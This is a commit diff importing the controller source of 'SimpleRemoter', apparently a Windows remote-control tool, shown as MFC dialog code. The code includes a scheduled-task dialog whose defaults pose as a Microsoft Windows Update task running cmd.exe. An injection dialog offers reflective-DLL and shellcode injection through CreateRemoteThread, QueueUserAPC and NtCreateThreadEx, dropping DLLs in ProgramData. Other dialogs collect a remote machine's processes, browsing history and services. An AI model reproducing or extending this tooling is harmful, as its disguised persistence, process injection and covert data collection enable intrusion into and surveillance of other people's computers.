Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea

This commit is contained in:
yuanyuanxiang
2026-04-19 19:55:01 +02:00
commit 5a325a202b
744 changed files with 235562 additions and 0 deletions

View File

@@ -0,0 +1,68 @@
// CCreateTaskDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "CCreateTaskDlg.h"
// CCreateTaskDlg 对话框
IMPLEMENT_DYNAMIC(CCreateTaskDlg, CDialog)
CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/)
: CDialogLang(IDD_CREATETASK, pParent)
, m_TaskPath(_T("\\"))
, m_TaskNames(_T("bhyy"))
, m_ExePath(_T("C:\\windows\\system32\\cmd.exe"))
, m_Author(_T("Microsoft Corporation"))
, m_Description(_T("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)"))
{
}
CCreateTaskDlg::~CCreateTaskDlg()
{
}
void CCreateTaskDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_PATH, m_TaskPath);
DDX_Control(pDX, IDC_EDIT_NAME, m_TaskName);
DDX_Text(pDX, IDC_EDIT_NAME, m_TaskNames);
DDX_Text(pDX, IDC_EDIT_EXEPATH, m_ExePath);
DDX_Text(pDX, IDC_EDIT_MAKER, m_Author);
DDX_Text(pDX, IDC_EDIT_TEXT, m_Description);
}
BEGIN_MESSAGE_MAP(CCreateTaskDlg, CDialog)
ON_BN_CLICKED(IDC_BUTTON_CREAT, &CCreateTaskDlg::OnBnClickedButtonCREAT)
END_MESSAGE_MAP()
// CCreateTaskDlg 消息处理程序
BOOL CCreateTaskDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_CREATETASK_PATH, _TR("路径:"));
SetDlgItemText(IDC_STATIC_CREATETASK_NAME, _TR("任务名:"));
SetDlgItemText(IDC_STATIC_CREATETASK_FILE, _TR("文件路径:"));
SetDlgItemText(IDC_STATIC_CREATETASK_AUTHOR, _TR("作者:"));
SetDlgItemText(IDC_STATIC_CREATETASK_DESC, _TR("描述:"));
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("创建计划任务"));
SetDlgItemText(IDC_BUTTON_CREAT, _TR("创建"));
return TRUE;
}
void CCreateTaskDlg::OnBnClickedButtonCREAT()
{
UpdateData(TRUE);
// TODO: 在此添加控件通知处理程序代码
__super::OnOK();
}

View File

@@ -0,0 +1,32 @@
#pragma once
#include "LangManager.h"
// CCreateTaskDlg 对话框
class CCreateTaskDlg : public CDialogLang
{
DECLARE_DYNAMIC(CCreateTaskDlg)
public:
CCreateTaskDlg(CWnd* pParent = nullptr);
virtual ~CCreateTaskDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_CREATETASK };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX);
DECLARE_MESSAGE_MAP()
public:
virtual BOOL OnInitDialog();
afx_msg void OnBnClickedButtonCREAT();
CString m_TaskPath;
CEdit m_TaskName;
CString m_TaskNames;
CString m_ExePath;
CString m_Author;
CString m_Description;
};

View File

@@ -0,0 +1,103 @@
// CInjectCodeDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "CInjectCodeDlg.h"
// CInjectCodeDlg 对话框
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
IMPLEMENT_DYNAMIC(CInjectCodeDlg, CDialog)
CInjectCodeDlg::CInjectCodeDlg(CWnd* pParent /*=nullptr*/)
: CDialogLang(IDD_INJECTINFO, pParent)
, Str_loacal(_T("本地文件路径"))
, Str_remote(_T(""))
{
}
CInjectCodeDlg::~CInjectCodeDlg()
{
}
void CInjectCodeDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_COMBO_INJECTS, m_combo_main);
DDX_Text(pDX, IDC_EDIT_PATH, Str_loacal);
DDX_Text(pDX, IDC_EDIT_PATH_REMOTE, Str_remote);
}
BEGIN_MESSAGE_MAP(CInjectCodeDlg, CDialog)
ON_BN_CLICKED(IDC_BUTTON_CHOOSE, &CInjectCodeDlg::OnBnClickedButtonChoose)
ON_BN_CLICKED(IDC_BUTTON_INJECT, &CInjectCodeDlg::OnBnClickedButtonInject)
ON_CBN_SELCHANGE(IDC_COMBO_INJECTS, &CInjectCodeDlg::OnCbnSelchangeComboInjects)
END_MESSAGE_MAP()
BOOL CInjectCodeDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_INJECTINFO_PATH, _TR("文件路径: "));
SetDlgItemText(IDC_STATIC_INJECTINFO_METHOD, _TR("注入方式:"));
SetDlgItemText(IDC_STATIC_INJECTINFO_DIR, _TR("落地目录:"));
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("注入设置"));
SetDlgItemText(IDC_BUTTON_INJECT, _TR("注入"));
int i = 0;
m_combo_main.InsertStringL(i++, _T("CreateRemoteThread(落地反射注入)"));
m_combo_main.InsertStringL(i++, _T("QueueUserAPC(落地反射注入)"));
m_combo_main.InsertStringL(i++, _T("NtCreateThreadEx(落地反射注入)"));
m_combo_main.InsertStringL(i++, _T("CreateRemoteThread(shellcode注入)"));
m_combo_main.InsertStringL(i++, _T("QueueUserAPC(shellcode注入)"));
m_combo_main.InsertStringL(i++, _T("NtCreateThreadEx(shellcode注入)"));
m_combo_main.SetCurSel(0);
SYSTEMTIME stTime;
GetLocalTime(&stTime);
WORD wMonth = stTime.wMonth;
WORD wDay = stTime.wDay;
WORD wHour = stTime.wHour;
WORD wMinute = stTime.wMinute;
WORD wSecond = stTime.wSecond;
Str_remote.FormatL( _T("C:\\ProgramData\\%d%d%d%d%d.dll"), wMonth, wDay, wHour, wMinute, wSecond);
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->SetWindowText(Str_remote);
isel = 0;
return TRUE;
}
void CInjectCodeDlg::OnBnClickedButtonChoose()
{
CFileDialog dlg(FALSE, NULL, NULL, OFN_HIDEREADONLY, _T("All Files (*.*)|*.*||"), this);
if (dlg.DoModal() != IDOK)
return;
SetDlgItemText(IDC_EDIT_PATH, dlg.GetPathName());
}
void CInjectCodeDlg::OnBnClickedButtonInject()
{
UpdateData(TRUE);
__super::OnOK();
}
void CInjectCodeDlg::OnCbnSelchangeComboInjects()
{
isel =m_combo_main.GetCurSel();
if (isel<3) {
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->EnableWindow(TRUE);
} else {
((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->EnableWindow(FALSE);
}
}

View File

@@ -0,0 +1,36 @@
#pragma once
#include "LangManager.h"
// CInjectCodeDlg 对话框
class CInjectCodeDlg : public CDialogLang
{
DECLARE_DYNAMIC(CInjectCodeDlg)
public:
CInjectCodeDlg(CWnd* pParent = nullptr);
virtual ~CInjectCodeDlg();
CComboBox m_combo_main;
int isel;
CString Str_loacal;
CString Str_remote;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum {
IDD = IDD_INJECTINFO
};
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX);
DECLARE_MESSAGE_MAP()
public:
virtual BOOL OnInitDialog();
afx_msg void OnBnClickedButtonChoose();
afx_msg void OnBnClickedButtonInject();
afx_msg void OnCbnSelchangeComboInjects();
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,104 @@
#include "stdafx.h"
#pragma once
#include <2015RemoteDlg.h>
/////////////////////////////////////////////////////////////////////////////
// CMachineDlg dialog
// TODO: 实现IP获取.
#include "common/location.h"
class CMachineDlg : public DialogBase
{
public:
CMachineDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
~CMachineDlg();
enum { IDD = IDD_MACHINE };
CListCtrl m_list;
CTabCtrl m_tab;
void OnReceiveComplete();
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
afx_msg void OnClose();
virtual BOOL OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult);
int m_nSortedCol;
bool m_bAscending;
bool m_bIsReceiving;
CMy2015RemoteDlg* m_pMainWnd;
CStatusBar m_wndStatusBar;
CLocker m_Locker;
bool IsReceivingData()
{
m_Locker.Lock();
auto r = m_bIsReceiving;
m_Locker.Unlock();
return r;
}
void SetReceivingStatus(bool b)
{
m_Locker.Lock();
m_bIsReceiving = b;
m_Locker.Unlock();
}
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnSelChangeTab(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnSelChangingTab(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnWaitMessage(WPARAM wParam, LPARAM lParam);
void SortColumn(int iCol, bool bAsc);
CString oleTime2Str(double time);
void reflush();
DECLARE_MESSAGE_MAP()
public:
void SendToken(BYTE bToken);
void AdjustList();
void OpenInfoDlg();
void SetClipboardText(CString& Data);
CString __MakePriority(DWORD dwPriClass);
void DeleteList();
void ShowProcessList(); //进程
void ShowWindowsList();//窗口
void ShowNetStateList();//网络
void ShowSoftWareList();//软件列表
void ShowIEHistoryList();//浏览记录
void ShowFavoritesUrlList();//收藏夹
void ShowServiceList(); //服务
void ShowTaskList();//计划任务
void ShowHostsList();//HOSTS
//对应菜单
void ShowProcessList_menu(); //进程
void ShowWindowsList_menu();//窗口
void ShowNetStateList_menu();//网络
void ShowSoftWareList_menu();//软件列表
void ShowIEHistoryList_menu();//浏览记录
void ShowFavoritesUrlList_menu();//收藏夹
void ShowServiceList_menu();//服务
void ShowTaskList_menu();//计划任务
void ShowHostsList_menu();//HOSTS
};
struct Browsinghistory {
TCHAR strTime[100];
TCHAR strTitle[1024];
TCHAR strUrl[1024];
};
struct InjectData {
DWORD ExeIsx86;
DWORD mode; //注入模式
DWORD dwProcessID; //进程ID
DWORD datasize; //本地数据尺寸
TCHAR strpath[1024]; //远程落地目录
};

View File

@@ -0,0 +1,111 @@
#include "stdafx.h"
#include "2015Remote.h"
#include "ServiceInfoDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
/////////////////////////////////////////////////////////////////////////////
// CServiceInfoDlg dialog
CServiceInfoDlg::CServiceInfoDlg(CWnd* pParent /*=NULL*/)
: CDialogLang(CServiceInfoDlg::IDD, pParent)
{
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SERVICE));
}
void CServiceInfoDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_COMBO_RUNWAY, m_combox_runway);
}
BEGIN_MESSAGE_MAP(CServiceInfoDlg, CDialog)
ON_CBN_SELCHANGE(IDC_COMBO_RUNWAY, OnSelchangeComboRunway)
ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart)
ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
ON_BN_CLICKED(IDC_BUTTON_PAUSE, OnButtonPause)
ON_BN_CLICKED(IDC_BUTTON_CONTINUE, OnButtonContinue)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CServiceInfoDlg message handlers
BOOL CServiceInfoDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_SERVICE_INFO_NAME, _TR("服务名称:"));
SetDlgItemText(IDC_STATIC_SERVICE_INFO_DISPLAY, _TR("显示名称:"));
SetDlgItemText(IDC_STATIC_SERVICE_INFO_DESC, _TR("描述:"));
SetDlgItemText(IDC_STATIC_SERVICE_INFO_PATH, _TR("可执行文件路径"));
SetDlgItemText(IDC_STATIC_SERVICE_INFO_START, _TR("启动类型:"));
SetDlgItemText(IDC_STATIC_SERVICE_INFO_STATUS, _TR("服务状态:"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
m_combox_runway.InsertStringL(0, _T("自动")); // 0
m_combox_runway.InsertStringL(1, _T("手动")); // 1
m_combox_runway.InsertStringL(2, _T("已禁用")); // 2
SetDlgItemText(IDC_EDIT_SERNAME, m_ServiceInfo.strSerName);
SetDlgItemText(IDC_EDIT_SERDISPLAYNAME, m_ServiceInfo.strSerDisPlayname);
SetDlgItemText(IDC_EDIT_SERDESCRIPTION, m_ServiceInfo.strSerDescription);
SetDlgItemText(IDC_EDIT_FILEPATH, m_ServiceInfo.strFilePath);
SetDlgItemText(IDC_STATIC_TEXT, m_ServiceInfo.strSerState);
if (m_ServiceInfo.strSerRunway == _T("Disabled"))
m_combox_runway.SetCurSel(2);
else if (m_ServiceInfo.strSerRunway == _T("Demand Start"))
m_combox_runway.SetCurSel(1);
else
m_combox_runway.SetCurSel(0);
SetWindowText(m_ServiceInfo.strSerDisPlayname + _T(" Attribute"));
return TRUE;
}
void CServiceInfoDlg::OnSelchangeComboRunway()
{
GetDlgItem(IDC_BUTTON_USE)->EnableWindow(TRUE);
}
void CServiceInfoDlg::OnButtonStart()
{
SendToken(COMMAND_STARTSERVERICE);
}
void CServiceInfoDlg::SendToken(BYTE bToken)
{
int nPacketLength = (m_ServiceInfo.strSerName.GetLength() + 1);;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpBuffer[0] = bToken;
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
m_ContextObject->Send2Client(lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
void CServiceInfoDlg::OnButtonStop()
{
SendToken(COMMAND_STOPSERVERICE);
}
void CServiceInfoDlg::OnButtonPause()
{
SendToken(COMMAND_PAUSESERVERICE);
}
void CServiceInfoDlg::OnButtonContinue()
{
SendToken(COMMAND_CONTINUESERVERICE);
}

View File

@@ -0,0 +1,40 @@
#pragma once
#include "MachineDlg.h"
#include "LangManager.h"
/////////////////////////////////////////////////////////////////////////////
// CServiceInfoDlg dialog
typedef struct {
CString strSerName;
CString strSerDisPlayname;
CString strSerDescription;
CString strFilePath;
CString strSerRunway;
CString strSerState;
} SERVICEINFO;
class CServiceInfoDlg : public CDialogLang
{
public:
CServiceInfoDlg(CWnd* pParent = NULL);
ClientContext* m_ContextObject;
enum { IDD = IDD_SERVICE_INFO };
CComboBox m_combox_runway;
SERVICEINFO m_ServiceInfo;
CMachineDlg* m_MachineDlg;
protected:
virtual void DoDataExchange(CDataExchange* pDX);
HICON m_hIcon;
void SendToken(BYTE bToken);
virtual BOOL OnInitDialog();
afx_msg void OnSelchangeComboRunway();
afx_msg void OnButtonStart();
afx_msg void OnButtonStop();
afx_msg void OnButtonPause();
afx_msg void OnButtonContinue();
DECLARE_MESSAGE_MAP()
};